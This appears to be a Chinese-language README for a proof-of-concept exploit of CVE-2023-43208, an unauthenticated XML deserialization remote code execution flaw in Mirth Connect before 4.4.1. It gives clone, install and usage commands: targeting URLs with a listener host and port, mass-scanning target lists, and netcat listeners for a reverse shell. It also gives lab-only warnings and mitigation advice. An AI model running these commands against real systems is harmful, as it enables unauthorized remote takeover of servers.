⚠️ 仅供教育与实验室使用 ⚠️
针对 CVE-2023-43208 的概念验证(PoC)漏洞利用程序,该漏洞是 Mirth Connect 4.4.1 之前版本中的一个远程代码执行漏洞。
此工具严格仅用于:
请勿用于:
您有责任遵守所有适用的法律法规。滥用此工具可能导致刑事指控。
此漏洞利用程序针对 Mirth Connect /api/users 端点中的 XML 反序列化漏洞,可在受影响版本(< 4.4.1)上实现未认证的远程代码执行。
这是一个严重(CRITICAL)漏洞,只能在隔离的实验室环境中针对您自己的系统进行测试。
requirements.txt 中列出的必需依赖包git clone https://github.com/M0h4/CVE-2023-43208-EXPLOIT.git cd CVE-2023-43208-EXPLOIT
pip install -r requirements.txt 💻 使用方法(仅供实验室使用) 交互模式(推荐用于实验室) bash python exploit.py 命令行模式 bash
python exploit.py -u https://target:8443 -lh 10.10.14.5 -lp 4444
python exploit.py -f targets.txt -t 50 -o vulnerable.txt
python exploit.py -u https://target:8443 -lh 10.10.14.5 -lp 4444 --no-interactive 选项 text -u, --url 要利用的目标 URL(仅供实验室使用) -lh, --lhost 监听主机(您的 IP) -lp, --lport 监听端口 -f, --file 包含要扫描的目标 URL 的文件 -o, --output 保存扫描结果的输出文件 -t, --threads 扫描线程数(默认:50) --no-interactive 以非交互模式运行 🎯 实验室环境示例 搭建您的实验室:
在隔离的虚拟机中安装存在漏洞的 Mirth Connect 版本(< 4.4.1)
使用受控网络(例如 VirtualBox/VMware 中的 NAT/仅主机模式)
切勿暴露到互联网
启动您的监听器:
ncat -lnvp 4444
nc -lnvp 4444 在您的实验室中运行漏洞利用程序:
python exploit.py -u https://192.168.1.100:8443 -lh 192.168.1.50 -lp 4444 🧪 测试环境要求 隔离的网络/VLAN
仅使用虚拟机
不包含生产数据
阻止外部访问的防火墙规则
记录在案的正式授权
📝 技术细节 漏洞类型:XML 反序列化 RCE
受影响版本:Mirth Connect < 4.4.1
修复版本:4.4.1 及以上
CVSS 评分:9.8(严重)
攻击向量:网络
身份验证:无需认证
该漏洞利用程序通过 /api/users 端点,使用 Commons Collections gadget 链实现远程代码执行(RCE)。
🛡️ 防护措施 如果您正在运行 Mirth Connect:
✅ 升级到 4.4.1 或更高版本
✅ 限制对管理界面的网络访问
✅ 实施适当的身份验证
✅ 监控可疑的 XML 载荷
👥 致谢 原作者:K3ysTr0K3R & Chocapikk
修改者:M0h4
CVE 编号:CVE-2023-43208
⚠️ 最终警告
╔══════════════════════════════════════════════════════════════╗ ║ 此工具仅供实验室使用 ║ ║ 未经授权的使用是非法且不道德的 ║ ║ 您需承担所有风险和责任 ║ ║ 作者对滥用行为不承担任何责任 ║ ╚══════════════════════════════════════════════════════════════╝